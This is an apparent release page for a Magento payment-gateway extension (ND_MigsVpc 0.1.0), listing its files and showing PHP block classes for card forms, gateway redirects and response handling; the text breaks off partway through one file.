Version Notes
Migs Vpc Payment Method Integration
Download this release
Release Info
Developer | Magento Core Team |
Extension | ND_MigsVpc |
Version | 0.1.0 |
Comparing to | |
See all releases |
Version 0.1.0
- app/code/local/ND/MigsVpc/Block/Form.php +52 -0
- app/code/local/ND/MigsVpc/Block/Info.php +37 -0
- app/code/local/ND/MigsVpc/Block/Merchant/Failure.php +42 -0
- app/code/local/ND/MigsVpc/Block/Merchant/Form.php +51 -0
- app/code/local/ND/MigsVpc/Block/Merchant/Redirect.php +46 -0
- app/code/local/ND/MigsVpc/Block/Merchant/Response.php +50 -0
- app/code/local/ND/MigsVpc/Block/Merchantnew/Failure.php +42 -0
- app/code/local/ND/MigsVpc/Block/Merchantnew/Form.php +50 -0
- app/code/local/ND/MigsVpc/Block/Merchantnew/Redirect.php +47 -0
- app/code/local/ND/MigsVpc/Block/Merchantnew/Response.php +50 -0
- app/code/local/ND/MigsVpc/Block/Payment/Info.php +52 -0
- app/code/local/ND/MigsVpc/Block/Server/Failure.php +44 -0
- app/code/local/ND/MigsVpc/Block/Server/Form.php +51 -0
- app/code/local/ND/MigsVpc/Block/Server/Redirect.php +48 -0
- app/code/local/ND/MigsVpc/Block/Server/Response.php +50 -0
- app/code/local/ND/MigsVpc/Controller/Abstract.php +152 -0
- app/code/local/ND/MigsVpc/Helper/Data.php +26 -0
- app/code/local/ND/MigsVpc/Model/Info.php +544 -0
- app/code/local/ND/MigsVpc/Model/Merchant.php +412 -0
- app/code/local/ND/MigsVpc/Model/Merchantnew.php +339 -0
- app/code/local/ND/MigsVpc/Model/Server.php +281 -0
- app/code/local/ND/MigsVpc/Model/Source/Cctype.php +29 -0
- app/code/local/ND/MigsVpc/Model/Source/PaymentAction.php +37 -0
- app/code/local/ND/MigsVpc/Model/Source/PaymentType.php +37 -0
- app/code/local/ND/MigsVpc/controllers/MerchantController.php +70 -0
- app/code/local/ND/MigsVpc/controllers/MerchantnewController.php +67 -0
- app/code/local/ND/MigsVpc/controllers/ServerController.php +53 -0
- app/code/local/ND/MigsVpc/etc/config.xml +134 -0
- app/code/local/ND/MigsVpc/etc/system.xml +404 -0
- app/code/local/ND/MigsVpc/sql/migsvpc_setup/mysql4-install-0.1.0.php +41 -0
- app/design/frontend/default/default/layout/migsvpc.xml +59 -0
- app/design/frontend/default/default/template/migsvpc/form.phtml +93 -0
- app/design/frontend/default/default/template/migsvpc/info.phtml +30 -0
- app/design/frontend/default/default/template/migsvpc/merchant/form.phtml +86 -0
- app/design/frontend/default/default/template/migsvpc/merchant/response.phtml +27 -0
- app/design/frontend/default/default/template/migsvpc/merchantnew/form.phtml +93 -0
- app/design/frontend/default/default/template/migsvpc/merchantnew/mark.phtml +8 -0
- app/design/frontend/default/default/template/migsvpc/merchantnew/response.phtml +27 -0
- app/design/frontend/default/default/template/migsvpc/method/payment/bpay/form.phtml +32 -0
- app/design/frontend/default/default/template/migsvpc/method/payment/bpay/info.phtml +26 -0
- app/design/frontend/default/default/template/migsvpc/method/payment/bpay/success.phtml +40 -0
- app/design/frontend/default/default/template/migsvpc/method/payment/directdeposit/form.phtml +41 -0
- app/design/frontend/default/default/template/migsvpc/method/payment/directdeposit/info.phtml +28 -0
- app/design/frontend/default/default/template/migsvpc/method/payment/directdeposit/success.phtml +38 -0
- app/design/frontend/default/default/template/migsvpc/method/postcode-checkout.phtml +84 -0
- app/design/frontend/default/default/template/migsvpc/method/postcode.phtml +55 -0
- app/design/frontend/default/default/template/migsvpc/server/form.phtml +30 -0
- app/design/frontend/default/default/template/migsvpc/server/response.phtml +27 -0
- app/etc/modules/ND_MigsVpc.xml +34 -0
- package.xml +18 -0
app/code/local/ND/MigsVpc/Block/Form.php
ADDED
@@ -0,0 +1,52 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
class ND_MigsVpc_Block_Form extends Mage_Payment_Block_Form_Cc
|
24 |
+
{
|
25 |
+
protected function _construct()
|
26 |
+
{
|
27 |
+
parent::_construct();
|
28 |
+
$this->setTemplate('migsvpc/form.phtml');
|
29 |
+
}
|
30 |
+
|
31 |
+
public function getCcAvailableTypes()
|
32 |
+
{
|
33 |
+
return array(
|
34 |
+
'VI'=>'VISA', // VISA (VI)
|
35 |
+
'MC'=>'MasterCard', // MasterCard (MC)
|
36 |
+
'DC'=>'Diners Club', // Diners Club (DC)
|
37 |
+
);
|
38 |
+
$types = $this->_getConfig()->getCcTypes();
|
39 |
+
if ($method = $this->getMethod()) {
|
40 |
+
$availableTypes = $method->getConfigData('migsvpccctypes');
|
41 |
+
if ($availableTypes) {
|
42 |
+
$availableTypes = explode(',', $availableTypes);
|
43 |
+
foreach ($types as $code=>$name) {
|
44 |
+
if (!in_array($code, $availableTypes)) {
|
45 |
+
unset($types[$code]);
|
46 |
+
}
|
47 |
+
}
|
48 |
+
}
|
49 |
+
}
|
50 |
+
return $types;
|
51 |
+
}
|
52 |
+
}
|
app/code/local/ND/MigsVpc/Block/Info.php
ADDED
@@ -0,0 +1,37 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
class ND_MigsVpc_Block_Info extends Mage_Payment_Block_Info_Cc
|
24 |
+
{
|
25 |
+
protected function _construct()
|
26 |
+
{
|
27 |
+
parent::_construct();
|
28 |
+
$this->setTemplate('migsvpc/info.phtml');
|
29 |
+
}
|
30 |
+
|
31 |
+
public function toPdf()
|
32 |
+
{
|
33 |
+
$this->setTemplate('migsvpc/pdf/info.phtml');
|
34 |
+
return $this->toHtml();
|
35 |
+
}
|
36 |
+
|
37 |
+
}
|
app/code/local/ND/MigsVpc/Block/Merchant/Failure.php
ADDED
@@ -0,0 +1,42 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
class ND_MigsVpc_Block_Merchant_Failure extends Mage_Core_Block_Template
|
24 |
+
{
|
25 |
+
/**
|
26 |
+
* Return Error message
|
27 |
+
*
|
28 |
+
* @return string
|
29 |
+
*/
|
30 |
+
public function getErrorMessage ()
|
31 |
+
{
|
32 |
+
return Mage::getSingleton('checkout/session')->getMigsVpcErrorMessage();
|
33 |
+
}
|
34 |
+
|
35 |
+
/**
|
36 |
+
* Get continue shopping url
|
37 |
+
*/
|
38 |
+
public function getContinueShoppingUrl()
|
39 |
+
{
|
40 |
+
return Mage::getUrl('checkout/cart');
|
41 |
+
}
|
42 |
+
}
|
app/code/local/ND/MigsVpc/Block/Merchant/Form.php
ADDED
@@ -0,0 +1,51 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
class ND_MigsVpc_Block_Merchant_Form extends Mage_Payment_Block_Form_Cc
|
24 |
+
{
|
25 |
+
protected function _construct()
|
26 |
+
{
|
27 |
+
$this->setTemplate('migsvpc/merchant/form.phtml');
|
28 |
+
parent::_construct();
|
29 |
+
}
|
30 |
+
public function getCcAvailableTypes()
|
31 |
+
{
|
32 |
+
return array(
|
33 |
+
'VI'=>'VISA', // VISA (VI)
|
34 |
+
'MC'=>'MasterCard', // MasterCard (MC)
|
35 |
+
'DC'=>'Diners Club', // Diners Club (DC)
|
36 |
+
);
|
37 |
+
/*$types = $this->_getConfig()->getCcTypes();
|
38 |
+
if ($method = $this->getMethod()) {
|
39 |
+
$availableTypes = $method->getConfigData('migsvpccctypes');
|
40 |
+
if ($availableTypes) {
|
41 |
+
$availableTypes = explode(',', $availableTypes);
|
42 |
+
foreach ($types as $code=>$name) {
|
43 |
+
if (!in_array($code, $availableTypes)) {
|
44 |
+
unset($types[$code]);
|
45 |
+
}
|
46 |
+
}
|
47 |
+
}
|
48 |
+
}
|
49 |
+
return $types;*/
|
50 |
+
}
|
51 |
+
}
|
app/code/local/ND/MigsVpc/Block/Merchant/Redirect.php
ADDED
@@ -0,0 +1,46 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
class ND_MigsVpc_Block_Merchant_Redirect extends Mage_Core_Block_Abstract
|
24 |
+
{
|
25 |
+
protected function _toHtml()
|
26 |
+
{
|
27 |
+
$secure = $this->getOrder()->getPayment()->getMethodInstance();
|
28 |
+
|
29 |
+
$form = new Varien_Data_Form();
|
30 |
+
$form->setAction($secure->getMigsVpcMerchantUrl())
|
31 |
+
->setId('migsvpc_merchant_checkout')
|
32 |
+
->setName('migsvpc_merchant_checkout')
|
33 |
+
->setMethod('POST')
|
34 |
+
->setUseContainer(true);
|
35 |
+
foreach ($secure->getFormFields() as $field=>$value) {
|
36 |
+
$form->addField($field, 'hidden', array('name'=>$field, 'value'=>$value));
|
37 |
+
}
|
38 |
+
$html = '<html><body>';
|
39 |
+
$html.= $this->__('You will be redirected to MIGS 3D-Secure in a few seconds.');
|
40 |
+
$html.= $form->toHtml();
|
41 |
+
$html.= '<script type="text/javascript">document.getElementById("migsvpc_merchant_checkout").submit();</script>';
|
42 |
+
$html.= '</body></html>';
|
43 |
+
|
44 |
+
return $html;
|
45 |
+
}
|
46 |
+
}
|
app/code/local/ND/MigsVpc/Block/Merchant/Response.php
ADDED
@@ -0,0 +1,50 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
class ND_MigsVpc_Block_Merchant_Response extends Mage_Core_Block_Template
|
24 |
+
{
|
25 |
+
/**
|
26 |
+
* Return Error message
|
27 |
+
*
|
28 |
+
* @return string
|
29 |
+
*/
|
30 |
+
protected function _construct()
|
31 |
+
{
|
32 |
+
parent::_construct();
|
33 |
+
$this->setTemplate('migsvpc/merchant/response.phtml');
|
34 |
+
}
|
35 |
+
|
36 |
+
public function getErrorMessage ()
|
37 |
+
{
|
38 |
+
$msg = Mage::getSingleton('checkout/session')->getMigsVpcErrorMessage();
|
39 |
+
Mage::getSingleton('checkout/session')->unsMigsErrorMessage();
|
40 |
+
return $msg;
|
41 |
+
}
|
42 |
+
|
43 |
+
/**
|
44 |
+
* Get continue shopping url
|
45 |
+
*/
|
46 |
+
public function getContinueShoppingUrl()
|
47 |
+
{
|
48 |
+
return Mage::getUrl('checkout/cart');
|
49 |
+
}
|
50 |
+
}
|
app/code/local/ND/MigsVpc/Block/Merchantnew/Failure.php
ADDED
@@ -0,0 +1,42 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
class ND_MigsVpc_Block_Merchantnew_Failure extends Mage_Core_Block_Template
|
24 |
+
{
|
25 |
+
/**
|
26 |
+
* Return Error message
|
27 |
+
*
|
28 |
+
* @return string
|
29 |
+
*/
|
30 |
+
public function getErrorMessage ()
|
31 |
+
{
|
32 |
+
return Mage::getSingleton('checkout/session')->getMigsVpcErrorMessage();
|
33 |
+
}
|
34 |
+
|
35 |
+
/**
|
36 |
+
* Get continue shopping url
|
37 |
+
*/
|
38 |
+
public function getContinueShoppingUrl()
|
39 |
+
{
|
40 |
+
return Mage::getUrl('checkout/cart');
|
41 |
+
}
|
42 |
+
}
|
app/code/local/ND/MigsVpc/Block/Merchantnew/Form.php
ADDED
@@ -0,0 +1,50 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
class ND_MigsVpc_Block_Merchantnew_Form extends Mage_Payment_Block_Form_Cc
|
24 |
+
{
|
25 |
+
protected function _construct()
|
26 |
+
{
|
27 |
+
$this->setTemplate('migsvpc/merchantnew/form.phtml');
|
28 |
+
parent::_construct();
|
29 |
+
}
|
30 |
+
public function getCcAvailableTypes()
|
31 |
+
{
|
32 |
+
return array(
|
33 |
+
'VI'=>'VISA', // VISA (VI)
|
34 |
+
'MC'=>'MasterCard', // MasterCard (MC)
|
35 |
+
);
|
36 |
+
/*$types = $this->_getConfig()->getCcTypes();
|
37 |
+
if ($method = $this->getMethod()) {
|
38 |
+
$availableTypes = $method->getConfigData('migsvpccctypes');
|
39 |
+
if ($availableTypes) {
|
40 |
+
$availableTypes = explode(',', $availableTypes);
|
41 |
+
foreach ($types as $code=>$name) {
|
42 |
+
if (!in_array($code, $availableTypes)) {
|
43 |
+
unset($types[$code]);
|
44 |
+
}
|
45 |
+
}
|
46 |
+
}
|
47 |
+
}
|
48 |
+
return $types;*/
|
49 |
+
}
|
50 |
+
}
|
app/code/local/ND/MigsVpc/Block/Merchantnew/Redirect.php
ADDED
@@ -0,0 +1,47 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
class ND_MigsVpc_Block_Merchantnew_Redirect extends Mage_Core_Block_Abstract
|
24 |
+
{
|
25 |
+
protected function _toHtml()
|
26 |
+
{
|
27 |
+
$secure = $this->getOrder()->getPayment()->getMethodInstance();
|
28 |
+
|
29 |
+
$form = new Varien_Data_Form();
|
30 |
+
$form->setAction($secure->getMigsVpcMerchantUrl())
|
31 |
+
->setId('migsvpc_merchantnew_checkout')
|
32 |
+
->setName('migsvpc_merchantnew_checkout')
|
33 |
+
->setMethod('POST')
|
34 |
+
->setUseContainer(true);
|
35 |
+
foreach ($secure->getFormFields() as $field=>$value) {
|
36 |
+
$form->addField($field, 'hidden', array('name'=>$field, 'value'=>$value));
|
37 |
+
}
|
38 |
+
$html = '<html><head><style type="text/css">*{margin:0;padding:0;}body{margin:0;padding:0;background:url('.$this->getSkinUrl('images/saletab-bg.jpg').')top center no-repeat;min-height:939px;}.loding{width:130px;margin:0 auto;padding-top:420px;}</style></head><body>';
|
39 |
+
$html.= $this->__('Please wait. We are processing your request....');
|
40 |
+
//$html .= '<div class="loding"><img src="'.$this->getSkinUrl('images/loading.gif').'" alt="loading" /></div>';
|
41 |
+
$html.= $form->toHtml();
|
42 |
+
$html.= '<script type="text/javascript">document.getElementById("migsvpc_merchantnew_checkout").submit();</script>';
|
43 |
+
$html.= '</body></html>';
|
44 |
+
$html = str_replace('<div><input name="form_key" type="hidden" value="'.Mage::getSingleton('core/session')->getFormKey().'" /></div>','',$html);
|
45 |
+
return $html;
|
46 |
+
}
|
47 |
+
}
|
app/code/local/ND/MigsVpc/Block/Merchantnew/Response.php
ADDED
@@ -0,0 +1,50 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
class ND_MigsVpc_Block_Merchant_Response extends Mage_Core_Block_Template
|
24 |
+
{
|
25 |
+
/**
|
26 |
+
* Return Error message
|
27 |
+
*
|
28 |
+
* @return string
|
29 |
+
*/
|
30 |
+
protected function _construct()
|
31 |
+
{
|
32 |
+
parent::_construct();
|
33 |
+
$this->setTemplate('migsvpc/merchant/response.phtml');
|
34 |
+
}
|
35 |
+
|
36 |
+
public function getErrorMessage ()
|
37 |
+
{
|
38 |
+
$msg = Mage::getSingleton('checkout/session')->getMigsVpcErrorMessage();
|
39 |
+
Mage::getSingleton('checkout/session')->unsMigsErrorMessage();
|
40 |
+
return $msg;
|
41 |
+
}
|
42 |
+
|
43 |
+
/**
|
44 |
+
* Get continue shopping url
|
45 |
+
*/
|
46 |
+
public function getContinueShoppingUrl()
|
47 |
+
{
|
48 |
+
return Mage::getUrl('checkout/cart');
|
49 |
+
}
|
50 |
+
}
|
app/code/local/ND/MigsVpc/Block/Payment/Info.php
ADDED
@@ -0,0 +1,52 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
class ND_MigsVpc_Block_Payment_Info extends Mage_Payment_Block_Info_Cc
|
23 |
+
{
|
24 |
+
/**
|
25 |
+
* Don't show CC type for non-CC methods
|
26 |
+
*
|
27 |
+
* @return string|null
|
28 |
+
*/
|
29 |
+
public function getCcTypeName()
|
30 |
+
{
|
31 |
+
return parent::getCcTypeName();
|
32 |
+
}
|
33 |
+
|
34 |
+
/**
|
35 |
+
* Prepare MigsVpc-specific payment information
|
36 |
+
*
|
37 |
+
* @param Varien_Object|array $transport
|
38 |
